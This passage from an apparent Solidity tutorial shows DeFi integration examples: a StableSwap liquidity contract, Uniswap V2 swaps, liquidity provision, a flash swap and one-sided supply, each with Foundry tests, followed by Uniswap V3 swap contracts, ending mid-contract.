        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
```

```
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Recalculate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
```

```
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);
```

```
        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

Explanation:

- StableSwap (Curve's algorithm) uses the invariant: `An^nsum(x_i) + D = ADn^n + D^(n+1)/(n^n * prod(x_i))`.
- The amplification coefficient `A` controls the "flatness" of the curve — higher A means prices stay closer to 1:1 for longer, ideal for stablecoins.
- When `A → 0`, it degenerates to Uniswap's constant product. When `A → ∞`, it approaches a constant sum (perfect price stability but no slippage protection).
- D is the total invariant; computing it requires Newton's method iteration (done in `_getD`).
- Used by Curve Finance for USDC/USDT/DAI, stETH/ETH, and other pegged asset pairs.
- Key insight: understanding StableSwap is essential for auditing DeFi protocols handling pegged assets.

7.8 Uniswap V2 Swap

Uniswap V2 swap

`swapExactTokensForTokens` sells all tokens for another.

`swapTokensForExactTokens` buys specific amount of tokens set by the caller.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UniswapV2SwapExamples {
    address private constant UNISWAP_V2_ROUTER =
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER);
    IERC20 private weth = IERC20(WETH);
    IERC20 private dai = IERC20(DAI);

    // Swap WETH to DAI
    function swapSingleHopExactAmountIn(uint256 amountIn, uint256 amountOutMin)
        external
        returns (uint256 amountOut)
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        address[] memory path;
        path = new address[](2);
        path[0] = WETH;
        path[1] = DAI;

        uint256[] memory amounts = router.swapExactTokensForTokens(
            amountIn, amountOutMin, path, msg.sender, block.timestamp
        );

        // amounts[0] = WETH amount, amounts[1] = DAI amount
        return amounts[1];
    }

    // Swap DAI -> WETH -> USDC
    function swapMultiHopExactAmountIn(uint256 amountIn, uint256 amountOutMin)
        external
        returns (uint256 amountOut)
    {
        dai.transferFrom(msg.sender, address(this), amountIn);
        dai.approve(address(router), amountIn);

        address[] memory path;
        path = new address[](3);
        path[0] = DAI;
        path[1] = WETH;
        path[2] = USDC;

        uint256[] memory amounts = router.swapExactTokensForTokens(
            amountIn, amountOutMin, path, msg.sender, block.timestamp
```

```
        );

        // amounts[0] = DAI amount
        // amounts[1] = WETH amount
        // amounts[2] = USDC amount
        return amounts[2];
    }

    // Swap WETH to DAI
    function swapSingleHopExactAmountOut(
        uint256 amountOutDesired,
        uint256 amountInMax
    ) external returns (uint256 amountOut) {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        address[] memory path;
        path = new address[](2);
        path[0] = WETH;
        path[1] = DAI;

        uint256[] memory amounts = router.swapTokensForExactTokens(
            amountOutDesired, amountInMax, path, msg.sender, block.timestamp
        );

        // Refund WETH to msg.sender
        if (amounts[0] < amountInMax) {
            weth.transfer(msg.sender, amountInMax - amounts[0]);
        }

        return amounts[1];
    }

    // Swap DAI -> WETH -> USDC
    function swapMultiHopExactAmountOut(
        uint256 amountOutDesired,
        uint256 amountInMax
    ) external returns (uint256 amountOut) {
        dai.transferFrom(msg.sender, address(this), amountInMax);
        dai.approve(address(router), amountInMax);

        address[] memory path;
        path = new address[](3);
        path[0] = DAI;
        path[1] = WETH;
        path[2] = USDC;

        uint256[] memory amounts = router.swapTokensForExactTokens(
            amountOutDesired, amountInMax, path, msg.sender, block.timestamp
        );

        // Refund DAI to msg.sender
        if (amounts[0] < amountInMax) {
            dai.transfer(msg.sender, amountInMax - amounts[0]);
        }

        return amounts[2];
    }
}

interface IUniswapV2Router {
    function swapExactTokensForTokens(
        uint256 amountIn,
```

```
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {
    UniswapV2SwapExamples,
    IERC20,
    IWETH
} from "../../../src/defi/uniswap-v2/UniswapV2SwapExamples.sol";

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

contract UniswapV2SwapExamplesTest is Test {
    IWETH private weth = IWETH(WETH);
    IERC20 private dai = IERC20(DAI);
    IERC20 private usdc = IERC20(USDC);

    UniswapV2SwapExamples private uni = new UniswapV2SwapExamples();

    function setUp() public {}
```

```
    // Swap WETH -> DAI
    function testSwapSingleHopExactAmountIn() public {
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountMin = 1;
        uint256 daiAmountOut =
            uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);

        console2.log("DAI", daiAmountOut);
        assertGe(daiAmountOut, daiAmountMin, "amount out < min");
    }

    // Swap DAI -> WETH -> USDC
    function testSwapMultiHopExactAmountIn() public {
        // Swap WETH -> DAI
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountMin = 1;
        uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);

        // Swap DAI -> WETH -> USDC
        uint256 daiAmountIn = 1e18;
        dai.approve(address(uni), daiAmountIn);

        uint256 usdcAmountOutMin = 1;
        uint256 usdcAmountOut =
            uni.swapMultiHopExactAmountIn(daiAmountIn, usdcAmountOutMin);

        console2.log("USDC", usdcAmountOut);
        assertGe(usdcAmountOut, usdcAmountOutMin, "amount out < min");
    }

    // Swap WETH -> DAI
    function testSwapSingleHopExactAmountOut() public {
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountDesired = 1e18;
        uint256 daiAmountOut =
            uni.swapSingleHopExactAmountOut(daiAmountDesired, wethAmount);

        console2.log("DAI", daiAmountOut);
        assertEq(
            daiAmountOut, daiAmountDesired, "amount out != amount out desired"
        );
    }

    // Swap DAI -> WETH -> USDC
    function testSwapMultiHopExactAmountOut() public {
        // Swap WETH -> DAI
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        // Buy 100 DAI
        uint256 daiAmountOut = 100 * 1e18;
        uni.swapSingleHopExactAmountOut(daiAmountOut, wethAmount);
```

```
        // Swap DAI -> WETH -> USDC
        dai.approve(address(uni), daiAmountOut);

        uint256 amountOutDesired = 1e6;
        uint256 amountOut =
            uni.swapMultiHopExactAmountOut(amountOutDesired, daiAmountOut);

        console2.log("USDC", amountOut);
        assertEq(
            amountOut, amountOutDesired, "amount out != amount out desired"
        );
    }
}
```

Explanation:

- Uniswap V2 is an AMM (Automated Market Maker) using the constant product formula: `x * y = k`.
- A liquidity pool holds two tokens; price is determined by the ratio of reserves.
- `swapExactTokensForTokens` and `swapTokensForExactTokens` route through one or more pairs.
- The 0.3% swap fee accrues to liquidity providers, increasing reserves (`k` grows over time).
- Slippage protection: callers set `amountOutMin` / `amountInMax` and a `deadline`.
- Price impact increases with swap size relative to pool reserves — large swaps in shallow pools are expensive.
- Flash swaps allow borrowing tokens within a single transaction, repaying at the end.

7.9 Uniswap V2 Add Remove Liquidity

Uniswap V2 add remove liquidity

Add / Remove Liquidity

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UniswapV2AddLiquidity {
    address private constant FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    function addLiquidity(
        address _tokenA,
        address _tokenB,
        uint256 _amountA,
        uint256 _amountB
    ) external {
        safeTransferFrom(IERC20(_tokenA), msg.sender, address(this), _amountA);
        safeTransferFrom(IERC20(_tokenB), msg.sender, address(this), _amountB);

        safeApprove(IERC20(_tokenA), ROUTER, _amountA);
        safeApprove(IERC20(_tokenB), ROUTER, _amountB);

        (uint256 amountA, uint256 amountB, uint256 liquidity) = IUniswapV2Router(
            ROUTER
        ).addLiquidity(
            _tokenA,
            _tokenB,
            _amountA,
            _amountB,
            1,
            1,
            address(this),
            block.timestamp
        );
    }

    function removeLiquidity(address _tokenA, address _tokenB) external {
        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);

        uint256 liquidity = IERC20(pair).balanceOf(address(this));
        safeApprove(IERC20(pair), ROUTER, liquidity);

        (uint256 amountA, uint256 amountB) = IUniswapV2Router(ROUTER)
            .removeLiquidity(
            _tokenA, _tokenB, liquidity, 1, 1, address(this), block.timestamp
        );
    }

    /**
     * @dev The transferFrom function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
```

```
    function safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Transfer from fail"
        );
    }

    /**
     * @dev The approve function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeApprove(IERC20 token, address spender, uint256 amount)
        internal
    {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.approve, (spender, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Approve fail"
        );
    }
}

interface IUniswapV2Router {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
}

interface IUniswapV2Factory {
    function getPair(address token0, address token1)
        external
        view
        returns (address);
```

```
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import
    "../../../src/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol";

IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 constant PAIR = IERC20(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);

contract UniswapV2AddLiquidityTest is Test {
    UniswapV2AddLiquidity private uni = new UniswapV2AddLiquidity();

    //  Add WETH/USDT Liquidity to Uniswap
    function testAddLiquidity() public {
        // Deal test USDT and WETH to this contract
        deal(address(USDT), address(this), 1e6 * 1e6);
        assertEq(
            USDT.balanceOf(address(this)), 1e6 * 1e6, "USDT balance incorrect"
        );
        deal(address(WETH), address(this), 1e6 * 1e18);
        assertEq(
            WETH.balanceOf(address(this)), 1e6 * 1e18, "WETH balance incorrect"
        );

        // Approve uni for transferring
        safeApprove(WETH, address(uni), 1e64);
        safeApprove(USDT, address(uni), 1e64);

        uni.addLiquidity(address(WETH), address(USDT), 1 * 1e18, 3000.05 * 1e6);

        assertGt(PAIR.balanceOf(address(uni)), 0, "pair balance 0");
    }

    // Remove WETH/USDT Liquidity from Uniswap
    function testRemoveLiquidity() public {
        // Deal LP tokens to uni
        deal(address(PAIR), address(uni), 1e10);
        assertEq(PAIR.balanceOf(address(uni)), 1e10, "LP tokens balance = 0");
```

```
        assertEq(USDT.balanceOf(address(uni)), 0, "USDT balance non-zero");
        assertEq(WETH.balanceOf(address(uni)), 0, "WETH balance non-zero");

        uni.removeLiquidity(address(WETH), address(USDT));

        assertEq(PAIR.balanceOf(address(uni)), 0, "LP tokens balance != 0");
        assertGt(USDT.balanceOf(address(uni)), 0, "USDT balance = 0");
        assertGt(WETH.balanceOf(address(uni)), 0, "WETH balance = 0");
    }

    /**
     * @dev The transferFrom function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Transfer from fail"
        );
    }

    /**
     * @dev The approve function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeApprove(IERC20 token, address spender, uint256 amount)
        internal
    {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.approve, (spender, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Approve fail"
        );
    }
}
```

7.10 Uniswap V2 Flash Swap

Uniswap V2 flash swap

Uniswap V2 Flash Swap Example

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IUniswapV2Callee {
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

contract UniswapV2FlashSwap is IUniswapV2Callee {
    address private constant UNISWAP_V2_FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    IUniswapV2Factory private constant factory =
        IUniswapV2Factory(UNISWAP_V2_FACTORY);

    IERC20 private constant weth = IERC20(WETH);

    IUniswapV2Pair private immutable pair;

    // For this example, store the amount to repay
    uint256 public amountToRepay;

    constructor() {
        pair = IUniswapV2Pair(factory.getPair(DAI, WETH));
    }

    function flashSwap(uint256 wethAmount) external {
        // Need to pass some data to trigger uniswapV2Call
        bytes memory data = abi.encode(WETH, msg.sender);

        // amount0Out is DAI, amount1Out is WETH
        pair.swap(0, wethAmount, address(this), data);
    }

    // This function is called by the DAI/WETH pair contract
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        require(msg.sender == address(pair), "not pair");
        require(sender == address(this), "not sender");

        (address tokenBorrow, address caller) =
            abi.decode(data, (address, address));
```

```
        // Your custom code would go here. For example, code to arbitrage.
        require(tokenBorrow == WETH, "token borrow != WETH");

        // about 0.3% fee, +1 to round up
        uint256 fee = (amount1 * 3) / 997 + 1;
        amountToRepay = amount1 + fee;

        // Transfer flash swap fee from caller
        weth.transferFrom(caller, address(this), fee);

        // Repay
        weth.transfer(address(pair), amountToRepay);
    }
}

interface IUniswapV2Pair {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol";
```

```
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

contract UniswapV2FlashSwapTest is Test {
    IWETH private weth = IWETH(WETH);

    UniswapV2FlashSwap private uni = new UniswapV2FlashSwap();

    function setUp() public {}

    function testFlashSwap() public {
        weth.deposit{value: 1e18}();
        // Approve flash swap fee
        weth.approve(address(uni), 1e18);

        uint256 amountToBorrow = 10 * 1e18;
        uni.flashSwap(amountToBorrow);

        assertGt(uni.amountToRepay(), amountToBorrow);
    }
}
```

Links

Foundry

Uniswap V3 Foundry example

7.11 Uniswap V2 Optimal One Sided Supply

Uniswap V2 Optimal One Sided Supply

Optimal One Sided Supply

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract TestUniswapOptimalOneSidedSupply {
    address private constant FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    /*
    s = optimal swap amount
    r = amount of reserve for token a
    a = amount of token a the user currently has (not added to reserve yet)
    f = swap fee percent
    s = (sqrt(((2 - f)r)^2 + 4(1 - f)ar) - (2 - f)r) / (2(1 - f))
    */
    function getSwapAmount(uint256 r, uint256 a)
        public
        pure
        returns (uint256)
    {
        return (sqrt(r * (r * 3988009 + a * 3988000)) - r * 1997) / 1994;
    }

    /* Optimal one-sided supply
    1. Swap optimal amount from token A to token B
    2. Add liquidity
    */
    function zap(address _tokenA, address _tokenB, uint256 _amountA) external {
        require(_tokenA == WETH || _tokenB == WETH, "!weth");

        IERC20(_tokenA).transferFrom(msg.sender, address(this), _amountA);

        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);
        (uint256 reserve0, uint256 reserve1,) =
            IUniswapV2Pair(pair).getReserves();

        uint256 swapAmount;
        if (IUniswapV2Pair(pair).token0() == _tokenA) {
            // swap from token0 to token1
```

```
            swapAmount = getSwapAmount(reserve0, _amountA);
        } else {
            // swap from token1 to token0
            swapAmount = getSwapAmount(reserve1, _amountA);
        }

        _swap(_tokenA, _tokenB, swapAmount);
        _addLiquidity(_tokenA, _tokenB);
    }

    function _swap(address _from, address _to, uint256 _amount) internal {
        IERC20(_from).approve(ROUTER, _amount);

        address[] memory path = new address[](2);
        path = new address[](2);
        path[0] = _from;
        path[1] = _to;

        IUniswapV2Router(ROUTER).swapExactTokensForTokens(
            _amount, 1, path, address(this), block.timestamp
        );
    }

    function _addLiquidity(address _tokenA, address _tokenB) internal {
        uint256 balA = IERC20(_tokenA).balanceOf(address(this));
        uint256 balB = IERC20(_tokenB).balanceOf(address(this));
        IERC20(_tokenA).approve(ROUTER, balA);
        IERC20(_tokenB).approve(ROUTER, balB);

        IUniswapV2Router(ROUTER).addLiquidity(
            _tokenA, _tokenB, balA, balB, 0, 0, address(this), block.timestamp
        );
    }
}

interface IUniswapV2Router {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IUniswapV2Factory {
    function getPair(address token0, address token1)
        external
        view
        returns (address);
}
```

```
interface IUniswapV2Pair {
    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

7.12 Uniswap V3 Swap Examples

Uniswap V3 swap examples

Uniswap V3 Single Hop Swap

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

contract UniswapV3SingleHopSwap {
    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IERC20 private constant weth = IERC20(WETH);
    IERC20 private constant dai = IERC20(DAI);

    function swapExactInputSingleHop(uint256 amountIn, uint256 amountOutMin)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
            .ExactInputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: 3000,
            recipient: msg.sender,
            amountIn: amountIn,
            amountOutMinimum: amountOutMin,
            sqrtPriceLimitX96: 0
        });

        router.exactInputSingle(params);
    }

    function swapExactOutputSingleHop(uint256 amountOut, uint256 amountInMax)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        ISwapRouter02.ExactOutputSingleParams memory params = ISwapRouter02
            .ExactOutputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: 3000,
            recipient: msg.sender,
            amountOut: amountOut,
            amountInMaximum: amountInMax,
            sqrtPriceLimitX96: 0
        });

        uint256 amountIn = router.exactOutputSingle(params);

        if (amountIn < amountInMax) {
            weth.approve(address(router), 0);
```

```
            weth.transfer(msg.sender, amountInMax - amountIn);
        }
    }
}

interface ISwapRouter02 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(ExactInputSingleParams calldata params)
        external
        payable
        returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    function exactOutputSingle(ExactOutputSingleParams calldata params)
        external
        payable
        returns (uint256 amountIn);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Uniswap V3 Multi Hop Swap

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

contract UniswapV3MultiHopSwap {
    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IERC20 private constant weth = IERC20(WETH);
    IERC20 private constant dai = IERC20(DAI);

    function swapExactInputMultiHop(uint256 amountIn, uint256 amountOutMin)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        bytes memory path =
            abi.encodePacked(WETH, uint24(3000), USDC, uint24(100), DAI);

        ISwapRouter02.ExactInputParams memory params = ISwapRouter02
            .ExactInputParams({
            path: path,
            recipient: msg.sender,
            amountIn: amountIn,
            amountOutMinimum: amountOutMin
        });

        router.exactInput(params);
    }

    function swapExactOutputMultiHop(uint256 amountOut, uint256 amountInMax)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        bytes memory path =
            abi.encodePacked(DAI, uint24(100), USDC, uint24(3000), WETH);

        ISwapRouter02.ExactOutputParams memory params = ISwapRouter02
            .ExactOutputParams({
            path: path,
            recipient: msg.sender,
            amountOut: amountOut,
            amountInMaximum: amountInMax
        });

